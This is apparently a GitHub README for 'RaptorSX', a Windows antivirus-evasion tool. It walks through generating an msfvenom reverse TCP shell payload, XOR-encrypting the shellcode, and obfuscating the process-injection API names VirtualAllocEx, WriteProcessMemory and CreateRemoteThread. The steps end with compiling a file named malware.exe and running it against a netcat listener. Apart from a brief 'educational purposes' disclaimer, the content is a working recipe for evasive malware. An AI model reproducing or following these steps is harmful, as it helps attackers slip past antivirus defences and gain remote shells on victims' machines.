Skip to content

RedNeutron-git/RaptorSX

Repository files navigation

Prerequesite

  1. Visual Studio
  2. Python2
  3. Metasploit Framework

Initiate

Generate Shellcode

Run this command to generate the shellcode via Msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4455 -f raw -o shellcode.bin
Encrypt The Generated Payload

Run this command to encrypt the generated shellcode.

python xorencrypt.py shellcode.bin
All Functions Must Be Encrypted

Make sure every function, like CreateRemoteThread, WriteProcessMemory, and VirtualAllocEx is encrypted. Use Python to do.

ptyhon
printCiphertext(xor("VirtualAllocEx", "password"))
printCiphertext(xor("WriteProcessMemory", "password"))
printCiphertext(xor("CreateRemoteThread", "password"))

Note: Once those done, put them in the *.cpp file, take a look the specific line.

Execute

  1. Run compiler.bat to compile all of them, then you will have malware.exe
  2. Run the listener (such as Netcat tool)
  3. Run malware.exe

Everything is strictly for educational purposes!

About

Antivirus evasion, tested on the Windows 10 10.0.15063 N/A Build 15063 x64.

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages